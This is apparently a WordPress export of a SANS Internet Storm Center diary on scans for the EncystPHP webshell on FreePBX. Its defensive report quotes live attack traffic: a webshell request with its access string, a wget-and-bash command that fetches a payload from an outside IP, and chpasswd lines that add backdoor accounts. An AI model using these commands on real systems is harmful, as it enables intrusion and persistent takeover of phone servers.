{"id":12078,"date":"2026-04-14T04:03:53","date_gmt":"2026-04-14T04:03:53","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2026\/04\/14\/32892\/"},"modified":"2026-04-14T04:03:53","modified_gmt":"2026-04-14T04:03:53","slug":"32892","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2026\/04\/14\/32892\/","title":{"rendered":"Scans for EncystPHP Webshell, (Mon, Apr 13th)"},"content":{"rendered":"<p>    Scans for EncystPHP Webshell, (Mon, Apr 13th)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>Last week, I wrote about attackers scanning for various webshells, hoping to find some that do not require authentication or others that use well-known credentials. But some attackers are paying attention\u00a0and are deploying webshells with more difficult-to-guess credentials. Today, I noticed some scans for what appears to be the &#8220;EncystPHP&#8221; web shell. Fortinet wrote about this webshell back in January. It appears to be a favorite among attackers compromising vulnerable FreePBX systems.<\/p>\n<p>The requests I observed look like:<\/p>\n<blockquote>\n<p><samp>GET \/admin\/modules\/phones\/ajax.php?md5=cf710203400b8c466e6dfcafcf36a411<br \/>\nHost: [victim ip address]:8000<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:89.0) Gecko\/20100101 Firefox\/89.0<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept: *\/*<br \/>\nConnection: keep-alive<\/samp><\/p>\n<\/blockquote>\n<p>This URL matches what <a href=\"https:\/\/www.fortinet.com\/de\/blog\/threat-research\/unveiling-the-weaponized-web-shell-encystphp\">Fortinet reported<\/a> back in January.\u00a0<\/p>\n<p>The parameter name &#8220;md5&#8221; is a bit misleading. The webshell will just compare the string. The parameter is not necessarily the MD5 hash of a specific &#8220;password&#8221;; any string will work as long as it matches the\u00a0hard-coded string in the webshell. The string above has the correct length for an MD5 hash, but I wasn&#8217;t able to find it in common MD5 hash databases. It is very possible that only a few different values are used across different attack campaigns. Many attackers may just &#8220;copy\/paste&#8221; the code, including this access secret.<\/p>\n<p>Currently, these probes originate from %%ip:160.119.76.250%%, an IP address located in the Netherlands. The IP address hosts an unconfigured web server.\u00a0<\/p>\n<p>The same IP address is also probing for various FreePBX vulnerabilities, for example:<\/p>\n<blockquote>\n<p><kbd>\/restapps\/applications.php?linestate=$$LINESTATE$$&amp;user=100<br \/>\nContext: ext-local<\/kbd><\/p>\n<p><kbd>Action: Originate<br \/>\nChannel: Local\/DONTCALL@macro-dial<br \/>\nApplication: system<br \/>\ndata: wget http:\/\/45.95.147.178\/k.php -O \/tmp\/k;bash \/tmp\/<\/kbd>k<\/p>\n<\/blockquote>\n<p>This request also matches the scans reported by Fortinet, and it returns the EncystPHP webshell. This version is also adding the following backdoor accounts:<\/p>\n<blockquote>\n<p><kbd>echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'hima:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'asterisk:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'sugarmaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'spamfilter:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'asteriskuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'supports:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'supermaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<br \/>\necho 'juba:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2&gt;\/dev\/null || true<\/kbd><\/p>\n<\/blockquote>\n<p>If you are using FreePBX, you may want to check for these accounts just to make sure.<\/p>\n<p>&#8212;<br \/>\nJohannes B. Ullrich, Ph.D. , Dean of Research, <a href=\"https:\/\/sans.edu\/\">SANS.edu<\/a><br \/>\n<a href=\"https:\/\/jbu.me\/164\">Twitter<\/a>|<\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32892\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Scans for EncystPHP Webshell, (Mon, Apr 13th) Last week, I wrote about attackers scanning for various webshells, hoping to find some that do not require authentication or others that use well-known credentials. But some attackers are paying attention\u00a0and are deploying webshells with more difficult-to-guess credentials. Today, I noticed some scans for what appears to be [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-12078","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/12078"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=12078"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/12078\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=12078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=12078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=12078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}